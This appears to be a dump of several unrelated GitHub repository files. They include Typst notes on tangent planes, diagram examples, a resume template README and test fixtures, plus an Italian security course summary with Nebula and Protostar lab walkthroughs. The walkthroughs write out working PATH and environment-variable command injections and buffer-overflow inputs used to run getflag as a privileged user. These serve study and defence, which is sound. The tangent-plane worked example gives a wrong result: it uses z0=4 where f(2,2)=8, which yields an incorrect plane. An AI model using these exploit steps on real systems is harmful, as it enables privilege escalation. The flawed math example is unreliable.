typst watch -f pdf resume.typ --open
```
|
https://github.com/lucannez64/Notes | https://raw.githubusercontent.com/lucannez64/Notes/master/Tangent%20plane.typ | typst | #import "template.typ": *
// Take a look at the file `template.typ` in the file panel
// to customize this template and discover how it works.
#show: project.with(
title: "Tangent plane",
authors: (
"<NAME>",
),
date: "30 Octobre, 2023",
)
#set heading(numbering: "1.1.")
= Tangent Plane
<tangent-plane>
== Definition
<definition>
A tangent plane is a plane that touches a surface at a single point, and
is tangent to the surface at that point. In other words, the tangent
plane is the plane that "just touches" the surface at the given point,
without crossing it.
The equation of a tangent plane can be found by taking the partial
derivatives of the equation of the surface with respect to each
variable, and evaluating them at the given point. These partial
derivatives give us the slope of the surface in each direction, which we
can use to find the equation of the tangent plane.
The tangent plane is a useful concept in calculus, as it allows us to
approximate the behavior of a surface near a given point. It can also be
used to find the maximum and minimum values of a multivariable function.
== Method
<method>
To find the tangent plane of a multivariable function at a given point,
we can take the partial derivatives of the function with respect to each
variable, and evaluate them at the given point. These partial
derivatives will give us the slope of the function in each direction,
and we can use them to find the equation of the tangent plane.
The equation of the tangent plane at a point
$lr((x_0 comma y_0 comma z_0))$ on a surface given by the function
$z eq f lr((x comma y))$ is given by:
$ z minus z_0 eq f_x lr((x_0 comma y_0)) lr((x minus x_0)) plus f_y lr((x_0 comma y_0)) lr((y minus y_0)) $
Where $f_x$ and $f_y$ are the partial derivatives of $f$ with respect to
$x$ and $y$ respectively.To find the equation of the tangent plane, we
simply evaluate the partial derivatives at the given point and plug them
into the equation above.
Example: To find the equation of the tangent plane of the function
$f lr((x comma y)) eq x^2 plus y^2$ at the point $lr((2 comma 2))$, we
need to take the partial derivatives of the function with respect to $x$
and $y$, and evaluate them at the point $lr((2 comma 2))$.
The partial derivatives of $f$ with respect to $x$ and $y$ are:
$ frac(diff f, diff x) eq 2 x $ $ frac(diff f, diff y) eq 2 y $
Evaluating these partial derivatives at the point $lr((2 comma 2))$
gives us:
$ frac(diff f, diff x) lr((2 comma 2)) eq 2 dot.op 2 eq 4 $
$ frac(diff f, diff y) lr((2 comma 2)) eq 2 dot.op 2 eq 4 $
We can now plug these values into the equation for the tangent plane to
find the equation of the tangent plane at the point $lr((2 comma 2))$:
$ z minus 4 eq 4 lr((x minus 2)) plus 4 lr((y minus 2)) $
Simplifying this equation gives us:
$ z eq 4 x plus 4 y minus 4 $
So the equation of the tangent plane at the point $lr((2 comma 2))$ on
the surface $z eq x^2 plus y^2$ is $z eq 4 x plus 4 y minus 4$.
== Link
<link>
- #link("Partial Derivative.pdf")[Partial Derivative]
- #link("Maths.pdf")[Maths]
|
|
https://github.com/kdog3682/mathematical | https://raw.githubusercontent.com/kdog3682/mathematical/main/0.1.0/src/examples/fletcher-cetz.typ | typst | #set page(width: auto, height: auto)
#import "@preview/fletcher:0.5.0" as fletcher: diagram, node, edge, cetz
#let canvas-length = 1cm
#let circ(p) = {
cetz.draw.circle(p, radius: 0.25/4, fill: black)
}
#let higher(p) = {
(p.at(0), p.at(1) + 0.2)
}
#let rectangle(w, h) = {
let a = (0, 0)
let b = (0, h)
let c = (w, h)
let d = (w, 0)
cetz.draw.rect(a, c)
circ(b)
circ(c)
cetz.decorations.brace(higher(b), higher(c), stroke: 0.5pt, name: "top")
cetz.draw.content("top.k", [hi])
}
#let noder(a, b, ..sink) = {
let kwargs = sink.named()
let pos = sink.pos()
let c = a * canvas-length
let d = b * canvas-length
let coor = (c, d)
node(coor, ..pos, ..kwargs)
}
#let cetz-renderer(items) = {
let lib = dictionary(cetz.draw)
for item in items {
lib.at(item.shape)(..item.args, ..item.at("kwargs", default: (:)))
}
}
#let payload = (
(shape: "rect", args: ((0, 0), (4,4))),
(shape: "circle", args: ((0, 0),)),
)
#let computed-payload = {
//cetz.draw.circle((0.5, 0.5), radius: 0.25/2, fill: black, name: "a1")
//cetz.draw.circle((rel: (-0.5, 0.5), to: "a1"), radius: 0.25/2, fill: black, name: "a")
//cetz.draw.circle((rel: (-0.5, 0.5), to: "a"), radius: 0.25/2, fill: black, name: "a")
//cetz.draw.line((to: "a1", rel: (0,-0.25)), (to: "a1", rel: (3, -0.25)))
cetz.draw.grid((0, 0), (4, 4), stroke: 0.25pt)
rectangle(3, 2)
}
#diagram(
debug: 2,
node-outset: 5pt,
render: (grid, nodes, edges, options) => {
cetz.canvas(length: canvas-length, {
computed-payload
fletcher.draw-diagram(grid, nodes, edges, debug: options.debug)
})
}, {
noder(0, 0, $A$, name: <a>)
noder(4, 4, $B$, name: <b>)
edge(<a>, <b>, "->", bend: 15deg, stroke: green)
}
)
|
|
https://github.com/LDemetrios/Typst4k | https://raw.githubusercontent.com/LDemetrios/Typst4k/master/src/test/resources/suite/introspection/here.typ | typst | --- here-position ---
// Test `context` + `here`.
#context test(here().position().y, 10pt)
|
|
https://github.com/Critik-V/resume-tmpl-typst | https://raw.githubusercontent.com/Critik-V/resume-tmpl-typst/main/README.md | markdown | MIT License | # DESCRIPTION
This project provides a customizable resume template written in the Typst language, designed for generating high-quality PDFs. Leveraging the Typst compiler, the template allows users to easily create professional resumes tailored to their needs.

## Project Structure
- `.gitignore` : File to ignore certain files and folders in version control.
- `headers.typ` : Contains headers used in the resume.
- `links.typ` : Contains links used in the resume.
- `README.md` : This file.
- `resume.typ` : Main file containing the content and configuration of the resume.
- `Times_New_Roman.ttf` : Font used in the resume.
## Content of `resume.typ`
The `resume.typ` file contains the following sections:
- **IMPORTS** : Importing `headers.typ` and `links.typ` files.
- **VARIABLES** : Declaration of variables used in the resume.
- **CONFIGURATIONS** : Page configuration, font, and text justification.
- **HEADER** : Resume header with name, title, contact information, and links to LinkedIn and GitHub.
- **SUMMARY SECTION** : Summary section.
- **CERTIFICATIONS SECTION** : Certifications section.
- **AWARDS & DISTINCTIONS SECTION** : Awards and distinctions section.
## Instructions
1. Clone the repository.
2. Modify the .typ files to customize your resume.
3. Use a compatible tool to generate the resume in PDF format from resume.typ or use this command:
```bash
typst compile resume.typ
```
## Author
<NAME> - [LinkedIn](https://www.linkedin.com/in/yannick-k-946970200/) - [GitHub](https://github.com/yannick2009)
|
https://github.com/r4ai/typst-code-info | https://raw.githubusercontent.com/r4ai/typst-code-info/main/tests/fixtures/code-block.typ | typst | MIT License | #import "../../plugin.typ": init-code-info, code-info, parse-diff-code
#show: init-code-info.with()
#code-info(
caption: [code block with line numbers],
show-line-numbers: true,
)
```rust
pub fn add(a: i32, b: i32) -> i32 {
a + b
}
```
#code-info(
diff: true,
show-line-numbers: true,
highlighted-lines: (1,),
always-show-lines: (1, 14, 15),
)
```rust
pub fn add(a: i32, b: i32) -> i32 {
a + b
}
pub fn sub(a: i32, b: i32) -> i32 {
a - b
}
pub fn mul(a: i32, b: i32) -> i32 {
a * b
}
pub fn div(a: i32, b: i32) -> i32 {
a / b
}
```
```rust
pub fn add(a: i32, b: i32) -> i32 {
a + b
}
pub fn sub(a: i32, b: i32) -> i32 {
let c = a - b;
c
}
pub fn mul(a: i32, b: i32) -> i32 {
a * b
}
pub fn div(a: i32, b: i32) -> i32 {
a / b
}
```
#parse-diff-code(
always-show-lines: (1, 2, 15),
```rust
pub fn add(a: i32, b: i32) -> i32 {
a + b
}
pub fn sub(a: i32, b: i32) -> i32 {
a - b
}
pub fn mul(a: i32, b: i32) -> i32 {
a * b
}
pub fn div(a: i32, b: i32) -> i32 {
a / b
}
```,
```rust
pub fn add(a: i32, b: i32) -> i32 {
a + b
}
pub fn sub(a: i32, b: i32) -> i32 {
let c = a - b;
c
}
pub fn mul(a: i32, b: i32) -> i32 {
a * b
}
pub fn div(a: i32, b: i32) -> i32 {
a / b
}
```,
)
|
https://github.com/rickysixx/unimore-informatica | https://raw.githubusercontent.com/rickysixx/unimore-informatica/main/cyber-physical-security/riassunto_cpsec.typ | typst | #set par(leading: 0.55em, justify: true, linebreaks: "optimized")
#set text(font: "New Computer Modern", lang: "en")
#set heading(numbering: "1. ")
#show raw: set text(font: "Courier New", size: 11pt)
#show raw.where(block: false): box.with(
fill: luma(240),
inset: (x: 3pt, y: 0pt),
outset: (y: 3pt),
radius: 2pt
)
#show raw.where(block: true): block.with(
fill: luma(240),
inset: 10pt,
radius: 4pt,
)
#show par: set block(spacing: 1em)
#outline(
indent: auto
)
= Attacchi informatici
Qualsiasi attacco che ha lo scopo di #strong[arrecare danno] ad
un'entità/azienda è un #strong[crimine].
Gli attacchi informatici sono crimini perpetrati tramite l'uso di
#strong[tecnologie digitali].
Le tecnologie digitali possono essere:
- #strong[obiettivo] del crimine;
- #strong[strumento] del crimine;
- #strong[testimoni] del crimine
== Caso dello spam
Lo spam esiste ancora perché allo spammer basta che risponda
positivamente lo 0,0001% dei destinatari per guadagnare dai 7.500\$ ai
12.500\$ al giorno.
== Di chi è la colpa degli attacchi informatici?
Spesso si tende ad accusare infrastrutture e tecnologie che si
utilizzano in Internet.
In realtà Internet è stata progettata per promuovere lo scambio non
ristretto di informazioni accademiche e scientifiche.
Oggi però Internet è un sistema interconnesso dove circolano
#strong[dati sensibili].
== Rischio
Probabilità che una #strong[minaccia] ha di sfruttare una
#strong[vulnerabilità] di una #strong[risorsa] (o #strong[asset]) e
quindi di causare impatti indesiderati.
In alcuni casi il rischio può essere calcolato, tenendo in
considerazione:
- quali sono le possibili minacce e qual è la loro frequenza;
- quali sono le vulnerabilità che queste minacce possono sfruttare
Nel tempo, le vulnerabilità sono aumentate a causa di diversi fattori.
=== Evoluzione dei sistemi informatici
Prima c'erano tante postazioni, non condivise, collegate ad un
mainframe.
Oggi invece:
- ci sono #strong[miliardi] di sistemi collegati ad Internet;
- i terminali sono molto più potenti;
- le reti sono #strong[condivise];
- c'è un'enorme trasmissione di dati
=== Evoluzione delle applicazioni e dei servizi informatici
Prima:
- un'organizzazione aveva bisogno di poche applicazioni per funzionare;
- le informazioni digitalizzate erano poche ed erano pochi anche i
dipendenti autorizzati ad accedervi
Oggi invece:
- i servizi informatici sono diventati fondamentali per le
organizzazioni;
- le applicazioni informatiche sono molto più diffuse
Più cose fa un sistema e più è vulnerabile.
=== Evoluzione della complessità dei sistemi informatici
Al giorno d'oggi i sistemi informatici sono molto più complessi rispetto
agli anni precedenti.
Spesso integrano competenze difficilmente conciliabili tra di loro.
=== Altri tipi di vulnerabilità
- bug nel software;
- non vi è educazione allo #strong[sviluppo di software sicuro];
- sviluppare software sicuro richiede tempo e denaro. Non sempre il
management è disposto a concecerli;
- sistemi non aggiornati
La sicurezza informatica non vende. È una cosa intangibile e nessuno
vuole pagarla.
C'è poco tempo per pensare anche alla sicurezza del software. Si
preferisce metterlo in produzione subito e patcharlo in futuro.
#figure(
image("assets/b4c126da01fbc6312ddea99f4ea7a76e.png", height: 25%),
caption: [
Evoluzione dei sistemi informatici nel tempo
]
)
== Attaccanti
Vari termini (a volte usati impropriamente):
- hacker;
- cracker;
- lamer;
- black hat e white hat
Le motivazioni per cui si fa un attacco informatico sono molte e sono
cambiate nel tempo:
#figure(
image("assets/562c923512515c44a86543a4162a8644.png", height: 25%),
caption: [
Motivazioni degli attaccanti
]
)
La tipologia più pericolosa di attaccanti è quella degli
#strong[attaccanti interni], perché hanno accesso a molte informazioni
che un esterno non conosce.
== Tempo di sopravvivenza
Un computer non protetto collegato ad Internet subisce nel giro di 1
minuto 150 #strong[tipi] di attacchi diversi.
Nel 2014 in una settimana si sono registrati 379 tipi di attacchi
diversi.
== Vettori d'attacco principali
+ applicativi non aggiornati;
+ malware preso tramite allegati di posta e/o siti web infetti;
+ password banali;
+ phishing;
+ man-in-the-browser;
+ uso di PC e reti condivise (es. PC della biblioteca, reti Wifi aperte)
= Lezione 3 - esecuzione con privilegi elevati
L'elevazione dei privilegi può essere fatta:
- #strong[manualmente], es. tramite `su` o `sudo`;
- #strong[automaticamente] tramite i bit SETUID/SETGID
Problemi dell'elevazione automatica con SETUID/SETGID:
- si ottiene un privilegio enorme (`root` può fare qualsiasi cosa);
- il processo può sfruttare questi privilegi per l'#strong[intera
esecuzione]
L'elevamento dei privilegi anche quando non se ne ha bisogno costituisce
una #strong[debolezza]. Non è corretto invece parlare di
#strong[vulnerabilità] perché, se un programma è scritto correttamente,
la sola elevazione automatica dei privilegi (anche quando non servono)
non è sufficiente per dare un vantaggio ad un attaccante.
Mitigazioni a queste debolezze: - abbassamento e ripristino dei
privilegi (#strong[privilege drop] e #strong[privilege restore]); -
destrutturazione dei permessi di `root` (#strong[capabilities])
Nei sistemi UNIX, un processo memorizza 3 coppie di credenziali:
- UID e GID #strong[reale] (chi ha lanciato il processo);
- UID e GID #strong[effettivo] (uguali a quelli reali, oppure a quelli
del creatore del file se i bit SETUID/SETGID sono impostati);
- UID e GID #strong[salvato] (impostabili tramite API C, servono per
effettuare il #strong[privilege restore])
Il comando `ps -o ruid,rgid,euid,egid <PID>` permette di visualizzare
UID/GUID reali/salvati di un processo.
== API C per implementare privilege drop/restore
- `setuid(uid)` e `getuid()` per impostare/ottenere lo UID
#strong[reale];
- `seteuid(uid)` e `geteuid()` per impostare/ottenere lo UID
#strong[effettivo]
- `setresuid(ruid, euid, suid)` per impostare con un'unica chiamata
tutta la terna UID reale/effettivo/salvato (impostare un UID/GID
salvato serve per poter effettuare il restore successivamente)
Una volta cambiato lo UID #strong[reale], non è più possibile
modificarlo. Per cambiare #strong[temporaneamente] i permessi si deve
modificare lo UID #strong[effettivo].
=== Esempio di privilege drop/restore
```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int x;
uid_t ruid, euid, suid;
getresuid(&ruid, &euid, &suid); // suid = euid
printf("Before privilege drop:\n");
printf("ruid: %d, euid: %d, suid: %d\n", ruid, euid, suid);
setresuid(-1, getuid(), -1); // privilege drop
getresuid(&ruid, &euid, &suid);
printf("After privilege drop:\n");
printf("ruid: %d, euid: %d, suid: %d\n", ruid, euid, suid);
printf("Inserisci il valore di x: ");
scanf("%d", &x);
setresuid(-1, suid, -1); // privilege restore
getresuid(&ruid, &euid, &suid);
printf("After privilege restore:\n");
printf("ruid: %d, euid: %d, suid: %d\n", ruid, euid, suid);
printf("Valore di x: %d.\n", x);
return 0;
}
```
== Inibizione di SETUID/SETGID
=== Opzione `nosuid` per `mount`
Eventuali bit SETUID/SETGID presenti in un file system montato con
quest'opzione vengono #strong[completamente ignorati] dal sistema
operativo.
== Il controllo di Bash
Molte shell moderne, tra cui Bash, ignorano i bit SETUID/SETGID
impostati sul loro eseguibile, allo scopo di evitare attacchi di
#strong[privilege escalation].
Nello specifico, queste shell eseguono un #strong[privilege drop]
immediatamente, abbassando i privilegi reali a quelli effettivi.
Nel caso di Bash, questo meccanismo di difesa si può disattivare
eseguendo Bash con l'opzione `-p`.
== Intercettazione di un processo
Esistono diversi tool (`gdb`, `strace`) che permettono di
#strong[tracciare] un processo (es. a scopi di debug).
Se il processo tracciato ha privilegi superiori a quello tracciante,
l'attaccante può sfruttare il tool di tracciamento per modificare il
codice eseguito dal processo tracciato per eseguire codice arbitrario
come utente privilegiato.
Per proteggersi da questi attacchi, è possibile configurare il proprio
sistema in modo tale che un processo tracciante non possa agganciarsi ad
un processo già in esecuzione (esempio: modifica del parametro del
kernel `kernel.yama.ptrace_scope`).
= Local injection
== Ciclo di vita di una vulnerabilità software
+ vulnerabilità introdotta (es. a causa di un bug);
+ viene rilasciato un exploit;
+ vulnerabilità rilevata dal vendor;
+ vulnerabilità annunciata pubblicamente;
+ aggiornamento delle firme degli anti-virus per rilevare minacce che
sfruttano questa vulnerabilità;
+ patch rilasciata dal vendor per mitigare/eliminare la vulnerabilità;
+ deployment della patch terminato su tutti i sistemi vulnerabili
Definizioni importanti:
- #strong[zero-day attack]: attacco perpetrato #strong[prima] che si
conoscesse pubblicamente la vulnerabilità;
- #strong[follow-on attack]: attacco perpetrato #strong[dopo] l'annuncio
pubblico della vulnerabilità;
- #strong[window of exposure]: finestra in cui il sistema è esposto alla
vulnerabilità
#figure(
image("assets/a374ce7b5be698795a7f483392025c81.png"),
caption: [Timeline di una vulnerabilità software]
)
== Vulnerabilità principali
- mediazione incompleta;
- time to check to time of use;
- code injection
Aspetto in comune: mancata validazione dell'input.
=== Mediazione incompleta
Si ha quando dei dati sensibili, sulla base dei quali vengono fatte
operazioni critiche (es. autenticazione, creazione di una fattura, ecc.)
sono #strong[esposti] e #strong[facilmente modificabili].
Esempio: risultati parziali esposti nella directory `/tmp` $arrow.r$ se
l'utente modifica questi risultati parziali, è in grado di alterare il
risultato finale.
Altro esempio: dati sensibili esposti nell'URL tramite query parameter.
Anche il #strong[buffer overflow] è un esempio di mediazione incompleta,
perché permette ad un utente di modificare lo stato di un programma (es.
cambiando il puntatore alla prossima istruzione da eseguire, al fine di
eseguire codice arbitrario).
Contromisure:
- aggiungere controlli sui dati #strong[prima], #strong[durante] e
#strong[dopo] aver svolto l'operazione critica;
- riprogettare l'interfaccia dell'applicazione in modo da
#strong[limitare al minimo] l'input dell'utente;
- riprogettare l'applicazione in modo da non esporre mai dati sensibili
=== Time to check to time of use
Si tratta di malfunzionamenti causati da problemi di
#strong[sincronizzazione], tipici in scenari multiutente e multitasking.
Scenario tipico:
- un'operazione sensibile può essere fatta solo se una certa condizione
è vera;
- la verifica della condizione avviene #strong[prima] dell'esecuzione
dell'operazione;
- la condizione diventa falsa #strong[dopo] la verifica, ma prima
dell'esecuzione dell'operazione
Esempio:
+ un utente cerca di modificare una pagina di Wikipedia;
+ essendo la pagina non bloccata, l'utente riceve l'autorizzazione per
la modifica;
+ dopo che l'utente ha ricevuto l'autorizzazione, un amministratore
blocca la pagina;
+ l'utente riesce comunque a modificare la pagina, sfruttando
l'autorizzazione che aveva ottenuto in precedenza
Altro esempio (contesto Linux):
#figure(
image("assets/09cfa6f7ecb85bd8dae835e490835013.png"),
caption: [TOCTOU su Linux]
)
=== Code injection
Tecnica per iniettare #strong[codice arbitrario] in un'applicazione
sfruttando il mancato controllo dell'input (es. SQL injection).
Le tecniche usate per realizzare l'attacco dipendono #strong[sempre]
dalla #strong[tecnologia] utilizzata a livello applicativo.
La causa è sempre la stessa: #strong[mancata validazione dell'input].
=== Buffer overflow
Si tratta di un bug per il quale un programma, scrivendo dati su un
#strong[buffer], eccede la capacità del buffer stesso, andando a
sovrascrivere il contenuto di aree di memoria #strong[adiacenti] al
buffer.
Il buffer overflow è una #strong[vulnerabilità]. Il modo con cui può
essere sfruttata dipende da:
- architettura della macchina;
- sistema operativo;
- regione di memoria (stack o heap)
Il buffer overflow può essere sfruttato per modificare il valore di una
variabile situata vicino al buffer vulnerabile, allo scopo di alterare
il comportamento del programma.
== Nebula - livello 1
=== Attacco
Il programma `flag01` come prima cosa eleva i propri privilegi
utilizzando l'#strong[effective] user/group ID impostati nel file.
#image("assets/6afcd068fd6eaa325e828c60826d34f0.png")
Il file `flag01` ha bit set UID impostato, quindi esegue il comando
`/usr/bin/env echo and now what?` come utente `flag01`.
La funzione C `system()` esegue un comando da shell, invocando
`/bin/sh -c <comando>`. Dal manuale inoltre si scopre una cosa
interessante:
#image("assets/6598835b3f86f5627db888478fad47df.png")
Per riuscire nell'obiettivo di eseguire `/bin/getflag` con utente
`flag01`, dobbiamo fare in modo che il comando
`/usr/bin/env echo and now what?` vada, in un qualche modo, ad eseguire
`/bin/getflag`.
Il comando `/usr/bin/env` va ad eseguire il comando che gli viene
passato come argomento (`echo` in questo caso) in un "ambiente
particolare".
Se leggiamo il manuale di `env`, però, notiamo che in questo caso
l'ambiente con cui viene eseguito `echo` è lo stesso di quello di
partenza, perché nella stringa passata a `system()` non vengono
specificate nè opzioni nè nuove coppie chiave-valore.
Possiamo quindi sfruttare il #strong[path injection]: modifichiamo la
variabile d'ambiente `$PATH` in modo tale che `echo` non punti più
all'eseguibile `/bin/echo` originale, ma a `/bin/getflag`.
+ copiamo il file `/bin/getflag` nella directory `/home/level01`,
dandogli il nome `echo`;
+ cambiamo la variabile `$PATH` eseguendo da riga di comando
`PATH=$(pwd):$PATH`;
+ eseguiamo `/home/flag01/flag01`;
+ challenge completata!
=== Difesa
Ci sono almeno 2 vulnerabilità:
1. l'eseguibile `/home/flag01/flag01` ha bit SETUID \= 1 (cosa fortemente sconsigliata dallo stesso manuale di`system`);
2. per trovare l'eseguibile `echo` ci si basa sul path corrente, che potrebbe essere stato alterato. Sarebbe molto meglio partire con un environment pulito (`env -i`) oppure (ancora meglio) specificare il percorso assoluto del comando.
Per risolvere la 1° vulnerabilità si può rimuovere il bit SETUID
dall'eseguibile `/home/flag01/flag01` (eseguire
`chmod u-s /home/flag01/flag01` come utente `root`).
Un'altra alternativa è modificare il file `level1.c` in modo da
rilasciare i privilegi prima di eseguire la chiamata a `system`,
applicando questa patch:
```diff
--- level1_original.c 2023-02-07 02:30:19.739399537 -0800
+++ level1_privdrop.c 2023-02-07 02:31:59.659404215 -0800
@@ -14,5 +14,10 @@
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
+ // privilege drop before executing system()
+ uid = getuid();
+
+ setresuid(-1, uid, -1);
+
system("/usr/bin/env echo and now what?");
}
```
== Nebula - livello 2
=== Attacco
Il programma: - eleva i propri privilegi, sfruttando il bit SETUID
impostato; - esegue la funzione `asprintf` che crea una stringa
(`buffer`) di dimensione sufficiente per contenere il 2° argomento; -
esegue una chiamata a `system`
Come nel livello precedente, possiamo sfruttare il modo con cui viene
utilizzato l'ambiente. Se facciamo in modo che `getenv("USER")`
restituisca qualcosa in modo tale che la successiva chiamata a
`system()` vada ad eseguire `/bin/getflag`, abbiamo completato la sfida.
Soluzione:
```
level02@nebula:~$ USER="; /bin/getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ; /bin/getflag is cool")
You have successfully executed getflag on a target account
```
=== Difesa
Diverse strategie:
- rimuovere il bit SETUID da `/home/flag02/flag02`;
- eseguire un privilege drop prima della chiamata a `system`;
- se l'obiettivo del programma è recuperare lo username corrente,
anziché usare l'ambiente tramite la funzione `getenv` (che potrebbe
essere stato alterato), utilizzare la funzione `getlogin()` (vedi
`man 3 getlogin`)
== Protostar - stack00
Per sfruttare il buffer overflow dobbiamo raccogliere alcune
informazioni:
- qual è il #strong[sistema operativo] usato?
- qual è l'#strong[architettura] della macchina? È 32 bit o 64 bit?
- qual è il #strong[processore] usato?
- in che modo il programma `stack0` accetta #strong[input]?
Il comando `lsb_release -a` restituisce informazioni sul sistema
operativo:
```
user@protostar:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 6.0.3 (squeeze)
Release: 6.0.3
Codename: squeeze
```
Il comando `arch` (o `uname -m`) restituisce informazioni
sull'architettura della macchina:
```
user@protostar:~$ arch
i686
user@protostar:~$ uname -m
i686
```
Il file `/proc/cpuinfo` contiene informazioni sul processore:
```
user@protostar:~$ cat /proc/cpuinfo
...
model name : Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
...
```
Guardando il sorgente, si nota che le variabili `modified` e `buffer`
sono dichiarate una dopo l'altra. Può essere che anche in memoria siano
una dopo l'altra? Se sì, allora potremmo sfruttare un buffer overflow su
`buffer` per modificare il valore di `modified`.
Affinché questo buffer overflow funzioni, dobbiamo scrivere 68 byte in
`buffer`: - 64 byte (\= 64 caratteri) riempiono `buffer`; - 4 byte (\= 4
caratteri, dimensione di 1 intero in C) riempiono `modified`
Dal manuale di `gets()` si scopre che la funzione NON esegue controlli
di buffer overflow, quindi riusciamo a scrivere in `buffer` quanti byte
ci pare.
Dimostrare che `buffer` e `modified` sono vicine in memoria, e che
soprattutto `buffer` è allocata #strong[prima] di `modified`, è più
complesso.
=== Analisi dello spazio di memoria
Per capire com'è strutturata la memoria nella macchina target
dell'attacco, usiamo il comando `pmap <PID>` (es. `pmap $$`):
```
user@protostar:~$ pmap $$
2114: /bin/bash
08048000 776K r-x-- /bin/bash
0810a000 20K rw--- /bin/bash
0810f000 1676K rw--- [ anon ]
b7ca6000 28K r--s- /usr/lib/gconv/gconv-modules.cache
b7cad000 40K r-x-- /lib/libnss_files-2.11.2.so
b7cb7000 4K r---- /lib/libnss_files-2.11.2.so
b7cb8000 4K rw--- /lib/libnss_files-2.11.2.so
b7cb9000 32K r-x-- /lib/libnss_nis-2.11.2.so
b7cc1000 4K r---- /lib/libnss_nis-2.11.2.so
b7cc2000 4K rw--- /lib/libnss_nis-2.11.2.so
b7cc3000 76K r-x-- /lib/libnsl-2.11.2.so
b7cd6000 4K r---- /lib/libnsl-2.11.2.so
b7cd7000 4K rw--- /lib/libnsl-2.11.2.so
b7cd8000 8K rw--- [ anon ]
b7cda000 24K r-x-- /lib/libnss_compat-2.11.2.so
b7ce0000 4K r---- /lib/libnss_compat-2.11.2.so
b7ce1000 4K rw--- /lib/libnss_compat-2.11.2.so
b7ce2000 1492K r---- /usr/lib/locale/locale-archive
b7e57000 4K rw--- [ anon ]
b7e58000 1272K r-x-- /lib/libc-2.11.2.so
b7f96000 4K ----- /lib/libc-2.11.2.so
b7f97000 8K r---- /lib/libc-2.11.2.so
b7f99000 4K rw--- /lib/libc-2.11.2.so
b7f9a000 16K rw--- [ anon ]
b7f9e000 8K r-x-- /lib/libdl-2.11.2.so
b7fa0000 4K r---- /lib/libdl-2.11.2.so
b7fa1000 4K rw--- /lib/libdl-2.11.2.so
b7fa2000 220K r-x-- /lib/libncurses.so.5.7
b7fd9000 12K rw--- /lib/libncurses.so.5.7
b7fe0000 8K rw--- [ anon ]
b7fe2000 4K r-x-- [ anon ]
b7fe3000 108K r-x-- /lib/ld-2.11.2.so
b7ffe000 4K r---- /lib/ld-2.11.2.so
b7fff000 4K rw--- /lib/ld-2.11.2.so
bffeb000 84K rw--- [ stack ]
total 5972K
```
Notiamo che la memoria di un processo è divisa in diverse aree:
- aree #strong[codice] (permessi `r-x--`);
- aree #strong[dati costanti] (permessi `r----`);
- aree #strong[dati variabili] (permessi `rw---`);
- #strong[stack] (`rw--- [stack]`)
#image("assets/8c5859fff214580fe8d411b8b9f92a76.png")
L'output di `pmap` però non spiega diverse cose:
- dove sono memorizzate `buffer` e `modified`? Sono contigue oppure no?
- cosa sono le aree senza permessi? (`----`);
- cosa sono le aree marcate `[anon]`?
L'allocatore GNU/Linux memorizza le variabili locali (come `buffer` e
`modified`) sullo #strong[stack].
=== Aree di memoria anonime
Sotto allo stack (cioè sopra, guardando l'output di `pmap`) si trova il
#strong[memory mapping segment]. Questo segmento viene utilizzato per
due scopi:
- caricare in memoria il contenuto di un file (es. di una
#strong[libreria]), in modo da non doverlo leggere tutte le volte dal
disco;
- mappare zone di memoria di dimensione \> 128 KB quando ne viene
richiesta l'allocazione tramite funzione `malloc()`
Nell'ultimo caso (viene mappata un'area di memoria e non il contenuto
del file) si parla di #strong[mappatura anonima].
=== Aree con permessi nulli
Il loader dinamico inserisce delle #strong[pagine di guardia] (guard
page) tra l'area codice e l'area successiva al fine di:
- separare il codice dai dati. Spesso il codice delle librerie è
#strong[condiviso] tra più processi;
- catturare un tentativo di buffer overflow
=== Struttura dello stack
Lo stack è organizzato in #strong[frame]. Ogni volta che viene invocata
una funzione viene creato un nuovo frame per contenere:
- le variabili locali alla funzione;
- i parametri passati alla funzione;
- altre informazioni necessarie per poter eseguire il #strong[ritorno al
chiamante] una volta che la funzione è terminata
Lo stack cresce #strong[verso gli indirizzi bassi]:
#image("assets/4788f72f4790b3938f5338ceba526403.png")
Il registro #strong[extended base pointer] (EBP) è un puntatore
particolare che punta allo stack frame della funzione attualmente in
esecuzione.
=== Conclusioni
Quindi, se lo stack cresce verso il basso, allora la variabile `buffer`
(dichiarata #strong[dopo] `modified`) sta in un indirizzo più basso.
Possiamo sfruttare quindi queste informazioni per scrivere 65 caratteri
dentro a `buffer`:
```
user@protostar:~$ python -c "print 'a' * 65" | /opt/protostar/bin/stack0
you have changed the 'modified' variable
```
== Protostar - stack01
La sfida sembra molto simile a stack00. Proviamo a vedere cosa succede
se utilizziamo lo stesso input:
```
user@protostar:~$ /opt/protostar/bin/stack1 $(python -c "print 'a' * 65")
Try again, you got 0x00000061
```
Da `man ascii`, scopriamo che in `modified` ci è finito il valore
`0x00000061` perché in ASCII `a` \= `0x61`.
Proviamo a far andare `ab` in `modified`:
```
user@protostar:~$ /opt/protostar/bin/stack1 $(python -c "print 'a' * 65 + 'b'")
Try again, you got 0x00006261
```
L'architettura di Protostar è #strong[little-endian], quindi anche se in
`modified` c'è `ab` dall'output di `stack1` sembra esserci `ba`.
Se quindi l'obiettivo è avere `modified == 0x61626364 == abcd` in
little-endian, dobbiamo dare in input a `stack1` la stringa `dcba`:
```
user@protostar:~$ /opt/protostar/bin/stack1 $(python -c "print 'a' * 64 + 'dcba'")
you have correctly got the variable to the right value
```
= Lezione 5 - remote injection
L'#strong[iniezione remota] avviene mediante un vettore d'attacco
#strong[remoto]. A differenza dell'iniezione locale, non si ha a
disposizione una shell sulla macchina vittima.
Il contesto in cui si svolge l'iniezione remota prevede 2 asset
principali:
- un #strong[client];
- un #strong[server]
Tipicamente client e server interagiscono tramite protocolli dello stack
TCP/IP.
Nell'iniezione remota, le richieste che il client fa al server
contengono iniezioni per uno specifico linguaggio (es. SQL). Questi dati
possono essere inoltrati dal server ad altri asset (es. database)
tramite altri protocolli applicativi.
== Nebula - livello 7
La directory `/home/flag07` contiene alcuni file molto interessanti:
```
level07@nebula:/home/flag07$ ls -l
total 5
-rwxr-xr-x 1 root root 368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf
```
- `index.cgi` è lo script CGI Perl da eseguire;
- `thttpd.conf` è il file di configurazione di `thttpd`, un server web
Lo script `index.cgi` può ricevere input in 2 modi:
- tramite query parameter in una richiesta HTTP;
- tramite riga di comando
Esempio:
```
